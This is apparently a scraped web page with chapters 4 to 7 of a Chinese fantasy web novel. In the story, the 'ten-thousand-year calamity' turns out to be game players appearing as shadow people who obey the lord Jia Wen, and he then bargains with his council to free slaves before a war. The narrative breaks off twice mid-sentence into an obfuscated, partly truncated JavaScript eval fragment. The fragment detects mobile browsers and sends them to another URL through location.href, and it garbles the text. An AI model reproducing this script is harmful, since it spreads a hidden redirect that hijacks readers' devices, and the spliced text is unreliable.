头顶不知什么时候出现了一轮红弯月,殷红得像是要淌出血,森然又诡异。 他们迅速返回身后的岩蟹号,登上大船的瞬间,海面隐隐浮动。似有巨物般潜伏在深海底下,此时被唤醒,开始不满地抖擞身体,令大海浮躁地上下起伏。 岩蟹号立即调转方向,准备全速行进,尽早离开风暴中心。 而现在浓雾消散,转了个向,大家才惊觉,原来兜兜转转四天,其实他们一直在雾海的边缘徘徊,从来没有走出多远。 海上的风浪愈演愈烈,纵使岩蟹号再怎样庞大坚固,从天上往下看,不过是一枚摇摇晃晃的叶片,被身后的风浪追逐。 船只被水浪推得忽高忽低,贾文不得不抓住点什么东西维持平衡,除非是经验老道的水手,否则很难在甲板上尝试移动。 “要出雾海了,加把劲!” 岩蟹号船长的吼声几乎被风声与涛声淹没,舵手使出吃奶的力气控制舵盘,配合风帆调整方向。 眼看快要行驶到较为安全的范围内,灰白的浓雾像巨物呼出的一口气,迅速从身后蔓延而来,将整条船只包裹,甚至笼罩了前方的视线! 情况急转直下,明明快脱离风暴了,却在即将伸手触摸到希望的关口,被剥夺了唯一的生路! 这一剧变来得猝不及防,人们大惊失色。船长别无他法,只能让舵手按照刚才的方向闷头往前冲,试着突破浓雾。 “快看,那是什么?!” 杂乱的叫喊混入涛声当中,显然不止是一个人发现了异常。 他们惊恐地看向四周,海雾与风暴融合的地方,有深色的东西正在慢慢凝聚,像一缕黑烟渗入了灰雾,扩散得越来越广! 黑雾逐渐有了形状,它们如同影子,没有实体,却生出了人类的轮廓。 它们一个接着一个从海雾中攀爬出来,探出人类的头颅,高高举起虚影般的手臂,挣扎着把自己的身躯拔出雾气! 黑影数量之庞大,已经把原来的海雾悉数覆盖,不止船身、包括头顶上方只剩下墨一样浓的漆黑,飘浮在半空中,遮天蔽日! “这是……” “灾祸吗……” 岩蟹号上,凡是见过这幅场面的人,都将永生难以忘怀。 他们亲眼见证了某种不明的、诡异的、类人的生物形成的整个过程,甚至想不起身下的惊涛骇浪,完完全全陷入另一种更为巨大的恐惧。 天空仿佛被撕开了一道口子,真正的深渊来物降临冥土! 密密麻麻的黑影还在扩散,伴随着最可怖的噩梦中才有的言语,穿透耳朵,深入骨髓。 贾文紧紧攀着桅杆上的粗绳子,斗篷在风浪的影响下疯狂飞舞。 黑影们发出的声音,贾文也在听,而且听得十分清楚、响亮—— “咋还不开门,急急急急急——” “我去,终于挤进来了!” “怎么一个名额限量的游戏还要排队这么久,全是阴兵在排队吗?!” 5. 幽影人 船身依旧在摇晃,浪花时而扑向甲板,水珠到处飞溅,激得贾文打了个哆嗦。 海水没那么冷,打在身上也完全不疼,凉意是从身体深处爆发的。 这凉意其实是一种情绪,说不上来是害怕还是如何。好比火烫到极致的时候,会让人产生寒冷的错觉。 贾文现在就觉得自己产生了某种错觉,或者干脆疯了,要不然他怎么听得懂那群黑雾黑影说的话? 而且听起来…… 他艰难地瞥了一眼周围,岩蟹号上的人无不惊恐万状,船长的呼声已经被彻底淹没了,取而代之的是尖叫、大骂和哭天抢地的祈祷。 反正看起来也不像是听懂了那些陌生语言的样子。 [哪来那么大风浪?登陆方式还挺新颖……卧槽!] 一团黑影总算显现出真正的模样,他除了具备基础的人形,身上还披着件雾气幻化成的长袍。而他刚刚成形,就像实体穿透云雾,“扑通”一声突然跌入海面。 其他黑影见状,没等作出什么反应,也跟着接二连三摔入海里。 岩蟹号上的人目睹“灾祸”们被浪涛吞没,惊喜到无以复加。方法果真管用!只要风暴还在继续,大海就能把“灾祸”统统吃进肚子里! 然而高兴没多久,众人脸上的喜悦瞬间褪去,失去血色。 [一上来就死啊!还好有新手保护期,能随便复活……不行,得找个能下脚的地方!] “有船,下面有艘船!往那边走!” 只见黑影们似乎在念叨某一句话,仿佛狼群找到目标一般不断嚎叫,一呼百和,纷纷朝着岩蟹号的方向袭来! 除了因为海浪太大,掉进海浪无法再挣扎,其他在空中半成型的黑影都竭力往这边涌来。 那声嘶力竭攀爬的模样着实恐怖,手扑抓的方向、脑袋脖子和上半身努力往前够的方向,确定是岩蟹号所在的位置! “他们发现我们了……”水手颤抖不已。 更令人绝望的还在后头——随着时间推移,海上的风浪正在肉眼可见地变小,迅速趋于正常。 此时的景象无比混乱,几团在头顶上方生成的黑影已经成功降落;有些黑影被大浪推到了船底,要么一头撞上了船,要么前仆后继地想抓住点什么爬上来。 船体周围聚涌的不再是浪花,而是浓稠的黑水。 眼见头顶和脚底都有“灾祸”,有人受了惊,在甲板上乱窜,跌跌撞撞地移动着,抽出刀剑,慌不择路地想要防卫和攻击。 两三次大浪推动后,船身不再剧烈摇晃,人在上面可以勉强平稳地站定。 这给了岩蟹号上的人进攻的机会,恐惧到一定程度,情绪会化为愤怒。水手们举起手中的武器,一边厉声大叫,一边拼命向黑影挥去! 一名水手趁黑影不备,挥舞着短刀从身后狠狠一劈! 刀本是沿着肩膀砍下去的,接触到长袍的一刹那,袍子没有破损,而是连同黑影的身体一起变成虚影,烟雾般散开……不曾伤及分毫。 当然,也有当场毙命的黑影,如果伤及要害,他们会立马灰飞烟灭。 “该死!怎么这么难杀?!”水手和护卫们无助地咆哮。 被围攻的黑影们不但没有什么行动,反而发出类似“桀桀桀”的声音,听得人汗毛倒立。 [哈哈哈哈,真有趣!一上来就战斗,开场动画就搞这么刺激!] 不少人被折磨得精神几近崩溃,场面越发不受控制。死士们蜂拥而出,人人尽可能拿起手边所有的武器对抗黑影,短刀、长剑、匕首,弓箭……甚至是斧头挥击的声音都出现在甲板上,叮铃哐啷作响。 贾文愣神一般看着这一切,外人看来似是被吓住了,实际上,他意识到了某些超出理解范围内的事。 混乱中,一支箭矢悄然飞出。 箭尖对准的方向,正是贾文所在的位置。 “小心!”火焰骑士还在苦苦跟黑影纠缠,一转身,便看到了飞来的流失。 火焰骑士想要冲过去拉开贾文,挡住那支箭,却不想一道身影闪得更快,将贾文护在身后! 尖锐的箭矢刺破皮肉的声音很轻很短,听在贾文耳中,却震耳欲聋。 他认出挡在自己前面的人,是之前的那名奴隶,一个黑瘦的小伙子。 “够了……” 他扶住歪倒的奴隶,眼睁睁看着对方右肩上被刺穿的伤口,还有那不断涌出、浸透了衣物的鲜血。 “停下!” 贾文厉声大喝,这点声音在混乱中显得如此渺小又微不足道,却奇迹般地令所有动静都消失了。 无论是已经化形,亦或是还未生成的黑影子,统统停下了话语和动作。 那些黑色的“风浪”,在一声号令之下,全部偃旗息鼓。 船上众人也还未反应过来发生了什么,他们畏惧这些怪物,此时见了变化,不敢轻举妄动,只能紧紧捏着武器。 火焰骑士离得近,将贾文的大喝、以及黑影子们的变化全程看在眼里。 “大人,他们听您的号令。”尽管火焰骑士不想承认,但他的声音中残存着些许惊魂未定,“这些……或许是您的族人,军队吗?” “不。” 贾文抬眼看向一团团被长袍包裹、神秘得如同梦魇的黑影。这些梦魇也恰好扭转身体,齐刷刷地望着他。 “他们,是深渊来物……是我的臣民。” - 船只已经驶出雾海,昏红的天色也消失不见,恢复正常的、令人舒畅的碧蓝色。 他们总算逃脱海上风暴,却甩不开身后跟随的数万只黑影。 “等等等等,上不了船咋整!”有黑影在水中挣扎,追着船猛游。 另一条黑影已经悠悠地平躺了:[你没发现吗,咱们在海里也在跟着船飘,自动跟随都不用开了。] 于是岩蟹号的后方,数万条黑影们躺成一片。由于数量过于庞大密集,乍一看简直像石油泄漏,又像浮着千万条肚皮朝上的死鱼。他们十分惬意地浮在海面上,随波逐流,任由海浪把自己推向陆地。 降落在船上的则相安无事,黑影根本不存在反击的意图,围着船上吓破了胆的水手们转转悠悠,这儿摸一下那儿碰一下,一副对什么都好奇的样子。 船长看了一阵,又一次把试图摸摸船舵的黑影爪子拍开,神情复杂地将视线转向他们的君主——贾文。 对了,他们还给这群东西起了一个十分形象的名字:幽影人。 贾文自然没有异议。他能有什么异议?毕竟称号确定下来后,这群玩家也同一时间收到了身份信息,并且乐在其中。 是的,玩家。 所谓的“万年灾祸”终于现身后,贾文又一回莫名听懂了一种陌生的语言。 幽影人们交谈的内容他听得明明白白,其中一些词汇的含义更是再熟悉不过,例如“开服”“登陆”“游戏”。 船上乱成一锅粥时,他也在被迫接受涌入脑海的信息,和那天在宴会上发生的一模一样。各式各样的信息在脑袋里掀起惊涛骇浪,再加上耳边不断涌入幽影人说的话,差那么一丁点儿就能把人逼疯。 好消息,他消化了一部分,人没疯。 坏消息,消化不代表接受。 就好比贾文终于弄懂,为什么脑袋里出现的倒计时,写的是“开服”倒计时。 因为现在所处的世界,被看作是个全息游戏; 而令人闻风丧胆的、让冥土人们为之付出巨大的万年灾祸,正是体验这个游戏的玩家! 那他自己呢,又是如何能让玩家乖乖听令的? 和玩家一样,贾文同一时间收到明确的身份定位:游戏世界的NPC,同时是给玩家颁布任务的半个游戏管理员。 原来他脚下站的土地,身边所有正在活动的人,都是虚拟世界的产物,这个世界无一不是虚假的,皆由数据构成。 ……可事实当真如此吗? 贾文蹲下身,查看奴隶的伤势。 甲板上人太多,经历方才的混乱,大副正在焦头烂额地恢复秩序,他们只能临时腾出一片空地安置伤员,等人员疏散开,再把伤员抬回船舱休息。 小伙子躺在地上,见贾文蹲到身边,下意识想起身远离,担心冲撞了王座钦定者。 他一动,牵动肩上的箭伤,疼得倒吸一口凉气。 “别动。”贾文的黑手套搭上他的身体,示意对方不要动弹。他知道奴隶在害怕,与其说害怕他这个人,不如说害怕他的身份。 他道:“谢谢你,又救了我一次。” “没有的事,大人。您能让我多活几天,已经是对我的恩赐了。”年轻人牵起一个虚弱勉强的微笑。 “你叫什么名字?”贾文在他身边坐下。 “奴隶没有名字,但他们叫我瘦熊。” 贾文牵起嘴角:“从今往后,你会变得更加强壮。” 年轻人奇怪地歪了歪头,钦定者大人分明戴着面具,但他就是从深紫的眼眶中感受到了一抹安抚般的温暖笑意。 紧接着,他突然回神,意识到贾文话里的含义,声音里已有着抑不住的激动。 “您的意思是说,我可以活下去?” “救过王座钦定者的两次性命,足够戴罪立功了。你的功德连阎……死神都抹不掉。” 瘦熊不明白功德是什么东西,却不妨碍他理解贾文的意思。他张了张唇,浅褐色的眼睛湿润明亮。他坚持要撑起身子道谢,被赦免他的人轻轻按定。 “先把伤养好,好好休息。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233551|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 留下这句话,贾文便离开伤员聚集的区域。 火焰骑士从刚才起就一言不发,沉默地跟在身后。附近有幽影人,幽灵似的步步紧跟他二人,像围观某种奇珍异兽,不时自言自语,或者与旁边的交头接耳说些什么。 他们或许在谈论他烧伤遍布的外貌,火焰骑士自幼便生活在这样的谈论中,这点视线早已习以为常,从不放在心上。 但他始终记着一件事,那便是没能保护好贾文。 “大人。” 火焰骑士忽然叫住贾文,后者一回头,就见这个大块头单膝跪地,拔出长剑,将剑双手呈递。 “一次是在新伽城镇,一次是刚才的箭矢,两回,都没能保护好您,这是我的失职。您可以把我押回极夜城堡接受刑罚,也可以当场处决,我会听从处置。” 贾文愣了一瞬,头疼地对他说:“佩顿,你已经够尽忠职守了,我不怪你,更不会治你的罪,赶紧起来……卡隆巫师怎么样?你们把他安顿到哪儿了?” “卡隆巫师跟船长在一块儿。您放心,他现在很安全。”火焰骑士抿抿唇,长剑收入刀鞘,声音依旧沉沉的。 无论经过何处,幽影人都会自动为他们让出一条道。这条道路直通船尾,岩蟹号船长一见人来了,背脊绷紧,连忙上前迎接。 不止是船长,其他水手与随行臣属对贾文的态度都产生了改变。 这并不难理解,先前他们只是尊敬于王座钦定者的身份,何况危难当头,必须伺候好唯一能够扭转局面的人,于是礼貌大于恭敬。 当预言中的灾祸——会死而复生、规模极其庞大的幽影人出现,得知他们只听命于贾文,一切都不同以往了。 如今,众人的态度也调转了个弯,恭敬胜过礼貌,而这份恭敬建立在畏惧之上。 贾文不难察觉这份变化,他对此暂不做任何表示。 卡隆巫师登船之后便被护送回了船舱,估计是在混乱之时趁机又登上甲板。所幸老人毫发无损,也不像受了惊吓,还能面色如常地拄着拐杖走过来,向贾文行礼。 “您没事就好。”见巫师族长老安然无恙,贾文呼出一口气。 “让您担忧了,我好得很。”卡隆巫师环顾四周,明显想说些别的。 贾文心领神会,用轻松的口吻主动开口:“我也没想到万年灾祸会是他们。” 二人对视一眼,纷纷笑出声来。 笑声中含着满满的如释重负,实在难以形容其中的感受,太过五味杂陈。好在,他们都能放下心来了。 灾祸之所以为灾祸,最大的原因是它不受控制。今日一见,幽影人竟是王座钦定者的臣民,只要可受控制,那关乎生死存亡的事情便也不用多忧心了。 最大的危机解除,如何不让人心头松快。 除此之外,另一种深刻绵长的情绪在贾文胸中翻涌。 舍身救下他的年轻人瘦熊、依然默默跟随身后,用身子挡住试图进一步上前的幽影人的火焰骑士、面前的卡隆巫师…… 所有人,所有事,都真实得不像话。 他甚至可以触摸到卡隆巫师皱巴巴的笑容,斗篷上未干的海水还湿漉漉地沉在肩头。岩蟹号上的人们神采各异,有着此时此刻的想法。 这些皆是亲身到体会的真实,要怎样让他相信是个虚假的世界? 倘若世界真实,脑子里的信息、降临的玩家、被赋予的权限,又该怎么解释? 是谁在操控,谁的授意,何人有这样的能力? 又或者……不是人在操控? [哇,过场动画这么沉浸式!] 玩家的一句话让贾文彻底破功。 “我瞅瞅,这就是贾文领主呀。”旁边幽幽凑过来一颗兜帽脑袋。 幽影人一直说着叽里咕噜听不懂的话,冷不丁冒出一句标准的通用语,大家一瞬间都没反应过来是在说话。 那幽影人好奇地上下扫视:“怎么遮得严严实实的,骷髅模样呢?” 面对风暴,卡隆巫师波澜不惊;面对混战,老巫师镇定自若。但玩家突然开口说了一句话,让这名六旬老人身子一震,手一抖,拐杖飞了出去。 一名幽影人像是闻到了味儿,以迅雷不及掩耳之势扑过来,率先抢到了拐杖! 幽影人抱着拐杖,叽里咕噜的话音里既得意又骄傲。 [NPC爆道具了!我捡到了!] 贾文:…… 不管怎么说,任务扣在他头上,又找不到罪魁祸首质问,这冤大头不得不当了。 他尝试着调动意念,瞬息之后,所有幽影人微微抬起头,似乎看到半空中的某种东西。 玩家面板出现了第一条任务: 【返航,护送贾文一行人,前往极夜城堡。】 6. 冥窟领主 大地裹上初春新草的嫩色,昨夜一场小雨滋润了嫩芽,泥土慢慢吸着雨水,有不少还挂在土地表面,湿润的、盈盈地闪着水光。 马蹄踏破土壤,一路溅起不少泥花,沿着小径往远处的城堡飞奔而去。 极夜城堡内,几抹白色攀上褐发与胡须的男人坐在桌前,羽毛笔时而沾墨,不停地处理着文书。门口传来动静,他抬起血丝遍布的眸子看了一眼,侍卫正在询问门外之人的来意。 “是万年灾祸的消息!”信使边说边吃进额头滑落下来的汗珠,按捺不住急切,连声要进门汇报。 门在下一瞬便被打开,信使急忙把信交到对方手上。 “坦尼森大人,深渊之门成功关闭了!灾祸也没了!钦定者和卡隆巫师平安无事,正在回来的路上,明天下午就能回到极夜城堡!” 坦尼森拆信的动作一顿,信件在手中不停地摇颤。他飞速扫了几眼第一封信,凝重的面色一扫而空,叫来手下通知人员疏散。 “城堡里的人可以送回去了。” 为了躲避灾祸,他们这几日尽可能地将妇孺们接进城堡范围内,其余直辖领地上的则就近送入圣堂,以及临时搭建的庇护所。 他还没拆开第二封,又有侍卫来报,说钦定者大人亲口吩咐,让坦尼森做好准备,要去迎接的话,记得带上几个护卫。 做什么准备?政务总管坦尼森直觉不太对,但队伍安全回归,应该意味着灾祸已经通过某种方式解决了。 次日下午,坦尼森披上衣服带着信,喊人一起离开这里。 回城的队伍到得很快,嘈杂声却是翻了好几倍,其他人疑惑回来的似乎不止一队人马,坦尼森只字不语。 只有他一个人读过第二封信,也只有他,怀着不亚于得知万年天灾的心情等待着……人站在那儿,魂还在消化信里的内容。 等见到眼前的景象,坦尼森的神情一点一点皲裂了。 一帮身穿斗篷、浑身上下都是黑色虚影,仿佛一团浓雾裹住全身的“人”,正密集地簇拥着“班师回朝”的队伍,围聚城堡之外。 贾文就坐在打头的马上,城门半开,坦尼森只能出去迎接。见到此情此景,护卫围成一圈将他护在身后,手放在剑柄上,随时准备拔刀出鞘。 “……您平安就好,贾文大人。”坦尼森环顾一周,对这些前所未见的诡异生物感到震悚,但见回来的一行人并没有过多反应,他绷紧了神经问道,“这是……” “信使给您的第二封信上应该有详细说明。” “您没来得及看?”贾文翻身下马,介绍道,“没关系,他们是幽影人,也就是那些万年天灾。” 坦尼森看了,不过是无法想象,亲耳听到又是一番震撼。 在场众人脸色俱是一变,只听贾文接着补充:“他们也是我的臣民,只听从我的号令。” 万年天灾,竟是王座钦定者的臣民??? 他们一时间不知道要作何反应,该卸下心头的重石,还是又一块令人担忧的石头压了上来? 赶巧,城墙方向传来一点动静,大家不禁侧首望去,一小撮幽影人居然在偷偷尝试爬上一处较矮的围墙。 幽影人对攀爬似乎不是很擅长,可好像城堡内有什么极富诱惑力的东西在等着他们,非得爬上这墙不可。有的还尝试站在同伴的肩膀上,越叠越高,总之无所不用其极,企图手脚并用地翻越过去。 守城卫兵被他们吓了个半死,刚要哆哆嗦嗦驱逐,唯一一个即将爬到顶端的幽影人手刚刚摸上来,登时就像触碰了某种禁忌魔法,直接惨叫一声,然后化成一缕黑烟消失了! 围在旁边尝试的一群人说着叽叽喳喳听不懂的话,不信邪地又送了一个人上去:同样的结果,变作黑烟消失了。 每消失一个,便响起一次哄堂大笑,屡次尝试无果后,他们才终于拍拍手散伙了。 唯独贾文听懂了。 [果然前面是非开放区域,没有指令进不去,不然就得死。算啦算啦,改天再来试试,说不定还能卡个bug进去。] 贾文和坦尼森一起转回头,解释一句:“……不是一般的臣民。” “我已经下令,他们不得伤害冥窟的任何人,不得惊扰平民百姓,也不得扰乱城中秩序。违令便是自取灭亡——像刚才您看到的那样。” 这些也是《玩家守则》中的重要组成部分,并非贾文自己制定的,而是玩家在登陆游戏前必须签订的合同与注意事项。 跟刚才他的陈述相比较,区别也有:《玩家守则》中提到,特殊情况下,是否构成主动伤害,将根据任务内容来判定。 是不得贸然出击,而非一点都不能动手。 因此,贾文有信心,保证原住民和玩家之间不会产生大规模冲突,他也会尽量把负面影响降到最低。 贾文继续道:“考虑到贸然放进城中多多少少会让人们受到些……惊吓,所以暂时不让他们进入城内,只在极夜堡附近活动。而这几日需要您安排人手在城内先宣布消息,越快越广,让所有人都有个心理准备。” 坦尼森反应很快,问:“您大概有多少臣民到访冥窟?” “一共有八万余人。但他们是受深渊之门召唤而来,不会时时刻刻呆在冥窟。不过一天下来,至少能保证有三万人以上在场,随时可以委派调遣。” 这是几天回程路上,贾文观察到的现象。 虽说熬夜肝游戏的也有,只是天天熬夜迟早会像他一样猝死。玩家们自然有休息时间,而在休息期间,另一部分玩家会登录,维持着一定的活跃度。 坦尼森沉默片刻,没有多说些什么,先让守门的把城门全部打开,放队伍回到城堡内。 那些怪物似的东西仿佛听到了无声的号令,一哄而散,朝着四面八方离开。 贾文牵着马向前走出几步,又驻足停下,看向身边的一名幽影人。 回程的路上,这名玩家慢慢跟到了他身边,还有两位像他的老朋友一样的队友。他们不算吵闹,谈吐不粗鲁,聊天时还让贾文偷听到不少关于玩家的事情。 关键在于,他们是这类高自由度、沉浸式、创造体验类全息游戏的老玩家。面对一些陌生或者不熟悉的情况,或许能给自己提供一些帮助。 “我能带他们三个进来吗?”贾文向坦尼森征询意见。 坦尼森微微弯腰:“悉听尊便。” - 其他人都去极夜堡附近区域做新手引导了,要每个玩家去亲自探索地图,解锁的区域也要记录下来,今后合力拼凑出一张完整的冥窟地图。 三个幽影人却跟随车队进入城堡。 玩家张罗和他的两名队友接收到了新任务,他们互相对视一眼——虽然看不见对方脸上的表情,但都能感受到彼此的窃喜。 三人机智地没有声张这份隐藏任务,毕竟吸引其他玩家仇恨,被挂到论坛上“通缉”可就不太好了。 “建筑比我想象中要大。”张罗仰起头,望一眼高高的塔尖,接着好奇地参观一路上看到的建筑场景:马厩、面包房、铁匠屋、操练场…… 在他左顾右盼的同时,也有不少原住民在偷偷看着他们。除了必须原地站着逃不开的守卫,其余杂役仆从等等能躲的全都躲到了一边,再不敢看第二眼。 玩家习惯NPC投来的视线,毕竟游戏形象如此特殊,多打量几眼反而增添了真实性。 迈入极夜堡正门,其中一位有着女性嗓音的幽影人开口:“内饰不错,不过为什么看上去又富又穷的?” 她发出和当初贾文一模一样的疑问,另一位玩家崔耿替她解开疑惑。 “因为上一任领主奢靡无度,从里到外重新装修了一遍城堡,所以总体风格比较华丽。但后来领主跑了……” 崔耿滔滔不绝地为她讲述前因后果,他是剧情党和设定党,向来对这些感兴趣,于是提前做好了功课,对设定如数家珍。 末了,崔耿自得地说:[小梅,一看就知道你又没怎么读过游戏背景。] ID叫梅拾佳的玩家瞅他那自满模样,不屑地回怼:[我更喜欢直接跟着剧情线走,别全给我剧透完了。] 几人随贾文来到了议事厅前。进入议事厅需要例行搜身,没收武器。三个幽影人立在门口,忽略掉护卫脸上躲躲闪闪的害怕,开始掏背包。 注意,此处的掏背包,并不是物理意义上的掏背包——玩家自带系统背包格,于是,众人眼睁睁看着一个幽影人凭空掏出一把大斧子! “张哥,你行啊,第一把武器诶!什么时候搞来的?”梅拾佳惊叹。 [之前在船上那会儿,有NPC斧子掉了,我帮他捡起来,想还给他。结果他哭着说不要了,送给我,我就拿着了。]张罗淡然回答。 这三个幽影人时而讲通用语,时而换回自己的语言。负责搜身的护卫被迫听着,结果听得也快哭了。 那一长串的回答是什么?怎么拿到的斧子?杀过多少个人,还是吃了死人之后将其据为己有? 幽影人在雾海出现时的场景,护卫已经听回来的同伴说过几句,恐怖得能让人魂飞魄散。现在必须亲自面对诡谲莫测的种族,又瞅着张罗那云淡风轻的模样,脑袋里不停产生联想,他愈发欲哭无泪。 还好他们很快放过了可怜的护卫,梅拾佳把自制木锅铲交出去后,跟随贾文来到议事厅。 长桌上坐着七名廷臣:分别为政务总管坦尼森、财务总管、法务总管、护卫队长、监察官以及学士兼巫师族长老卡隆。 桌前还出现了两张不熟悉的面孔,据介绍,他们是原领主的封臣。万年灾祸一事将一部分封臣召集到了极夜堡,特殊情况,履行军役、提供协助和物资是义务,更重要的是得一起商量对策。极夜堡也会为其家人提供相应的保护。贾文被召唤的那天,其实他们也在正厅,亲眼见证了奇迹降临。 议事厅的氛围比往常紧张得多,显然是因为幽影人的存在。 “当他们不存在就好。”贾文入座,随口道。 而三抹看不见人脸的高大影子立在贾文背后,帽口像一张深渊巨口,散发着令人不敢直视的沉郁气息,压迫感十足。 众人:? 这要怎么让人忽略! 贾文也似乎察觉到有点不妥,与其继续害怕,不如让他们多看看脱敏。他转头对玩家道:“向各位大人介绍一下吧。” 一听这话,玩家崔耿就来劲了。他是资深小说、影视等文学艺术爱好者,同时又是自封的游戏演员,这活他擅长,特别乐于参与其中。 崔耿主动上前一步,先是向长桌上的各位贵族臣属施施然行上一礼,接着提高嗓门—— “各位大人晨安,我等奉王座钦定者·异界来客·深渊之门守门人·繁星吉兆的化身·幽影人领导者贾文之命,降临于此,帮助冥土脱离苦海,使其兴盛壮大!” 贾文:……? 他听错了吗,那一长串头衔是啥东西? 崔耿对自己的表现十分满意,台词念得抑扬顿挫、感情更是饱满充沛,堪称舞台剧表演水准。他又向众人鞠躬,昂首阔步,回到两个已经看麻了的队友身边。 在座的臣属们听得一愣一愣的,还是侍从的轻声询问唤醒了大家。 “需要椅子吗?” “不用,我们退后面一些,不打扰各位议事。”张罗扯着梅拾佳和崔耿就往后走,躲到一个既不容易引起注意,又能听得见对话的阴影里。 回归正题,坦尼森率先发话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坦尼森道:“既然大事已定,那我便向各位说一说收到的新情报,同样是一件不可小觑的大事。” 他从怀里取出一封信件,下意识便要往桌子中间放。 幸好他及时回神,方向一转,往贾文那边递去,先给领主过目。 贾文看在眼里,却也没说什么,恍若未觉一般接过信件查看。 领主看信的同时,坦尼森口头告知。 “我们安插在厄尔悍的探子来报,早在一个月前,厄尔悍王已经集结臣民,准备最后一次整装攻打冥窟。但信鹰被射下来过,最初报信的探子已死,是另一名探子找机会通报的消息。” “时间耽搁了太久,估计这会儿,他们快进军到冥窟东面的边界了。” 护卫队长难以相信:“他们不是才来过一次吗?怎么,打算捞最后一笔?” “捞一笔和彻底摧毁冥窟,显然后者更有长远价值。”财务总管遗憾地说。 信件很快被传递下去,在各个廷臣之间传看。 贾文也觉得匪夷所思,实在叫人不解:“真荒谬,灾祸来了不应该关紧大门躲好吗,怎么还会想着派兵攻打冥窟?” “倘若灾祸真的发生了,那这些派出来的兵,岂不是有去无回?”他很快抓住了症结所在。 坦尼森稍稍抬起下巴,以示赞同。 “我也是这样认为的。一万余名兵力,厄尔悍近年再怎样壮大,也不可能家不留兵,同时又能拿出这么多忠心耿耿,愿意投身灾祸中的死士。” 但事实摆在那里,大军快压到边境线了,纠结其中关要得往后稍稍,当务之急是解决即将发生的战争。 冥窟主城外的村庄不久之前才遭到洗劫,虽然当时厄尔悍国没打算杀人,只是抢粮抢物资,然而造成了混乱,就不可避免地产生伤亡。 一些壮劳力为了抢夺食物和牲畜殒命其中,而为了阻挡来势汹汹的骑兵,护卫队一样牺牲了不少名卫兵。 刚才提到的资源里,除了食物,必然也有粮草和武器。即使那时候,坦尼森等人提早预见了混乱,命人将所有铁匠铺里的武器、盔甲、护甲等器械收入极夜堡内保管,把损失降到最低,却仍然阻挡不了近四成的战备资源被劫掠、销毁。 各项资源都十分紧缺的情况下,还要如何应对战争,守住冥窟? 在场的臣属们想到了同一处,默不作声转动视线,瞥向阴影之中更显鬼魅的三人。 “他们……是想让我们出战?”玩家张罗立即会意。 “贾文大人,我们亏欠您许多。”片刻的寂静后,坦尼森雄浑低沉的音色充斥着议事厅。 无需多言,看完信的那一刻起,贾文便明白了坦尼森的意思,理解之前为什么要询问幽影人的人数了。 “说不上亏欠,既然有能力,自然要出一份力。我们都生活在冥土上,守好自己的地盘,才能安心把日子过下去。”贾文话说得朴实,却是在场众人的心中所愿。 “我会派幽影人应敌,但需要好好讨论具体安排。” 玩家的实力他没见过,暂且还不清楚,因而不能贸然断定他们的战斗力。如果直接去打,万一玩家们歇菜了怎么办?必须好好筹谋划策一下。 封臣与廷臣们完全没有异议,一致表示同意。 正当大家以为可以顺势讨论作战计划时,贾文再度开口。 “只是,我还有一个条件。” “什么条件?”坦尼森问。 贾文探出一根细长光滑的骨头食指,在桌上轻轻一点。 “我要你们释放所有参与暴乱的奴隶,让他们恢复自由。” 7.深渊来客 会议厅陷入长久的寂静。 坦尼森率先有了动作,他直起腰背身体前倾,调整为严肃正式的坐姿。 “我听说了新伽城镇的事情。当时奴隶暴乱,杀死两名奴隶主,造成了一定的骚乱,险些让您置身险境当中。您还救下一个奴隶,把他带上了船。” 坦尼森不愧为政务总管,消息十分灵通,情报也准确无误。 “我欣赏您的仁慈,那些奴隶也是受食物的困扰,可杀了主人,是罪不容诛的。” 顿了顿,他继续道: “被拴久的牛,如果一下子松开它们的绳结,大多会立在原地,不敢跑,依旧乖乖地服从命令。” “但有些牛不同,它们能够意识到脖子上的束缚消失了,对主人根深蒂固的恐惧,反而会促成另一种情绪:愤怒。它会试探,确认自由之后,大肆地在田间奔跑、踩踏、破坏所有能够破坏的事物,不管这些东西曾经是否奴役过它,然后扬长而去。” 贾文眸光深邃,他暂时不想探讨暴乱的根源究竟在哪,即使他也觉得,坦尼森对这个源头其实心知肚明。 他听懂了对方的担忧,怕把奴隶释放后,城内治安会变得不稳定,毕竟眼下抽不出更多人手去顾及这些了。 释放奴隶,绝非临时起意的决定,更不是因为贾文大发善心,圣父心泛滥。 假如脑内信息没有出错,那么按照数据显示,这片包含直辖领在内,将近四千平方公里的领地上,大约只有五万人口,现在能紧急集结调动的原有士兵不超过一千人。 守卫队听起来好听,其实跟城管没什么两样,而骑士属于贵族的私人武力——在这样一个完全没有一支正规军的地方,遇到大规模战争,只能征召平民。 打空了士兵和平民,后续社会生产和运作怎么办?解放奴隶就相当于解放了生产力啊!更何况,他们生来就是人,而非牲畜。 贾文必须争取到这一点,第一步则需要向下属坦诚,先将自己的想法和盘托出。 …… 从贾文发话开始,一众廷臣便默然不语。越是听到后头,他们越是沉默,暗暗心惊。 的确,这位新领主的考量方向,也是一直困扰着众人的问题。 仗打下来了,如何守城同样十分关键。一切匮乏的情况下,想要恢复生产、蓄积资源等等需要漫长的时间。 然而太漫长的话,没人等得起,叛乱和死亡会在大地蔓延。那时,不用任何人动手,冥窟便不攻自破了。 “新伽城镇就是一个例子,动乱已经产生——大敌当前,我们抽不出更多精力去平定这些动乱。奴隶杀掉也可惜,何不干脆让他们参战,参战者还能获得军功奖赏,恢复他们的人籍,给个安置之处。” “如此一来,动乱解决了,打仗缺少的兵力多少能够填补一部分。战后需要休养生息,也有人出力劳作了。” 开战之前,有的能因为军功自发地保护冥窟; 结束之后,活下来的可以从事生产。 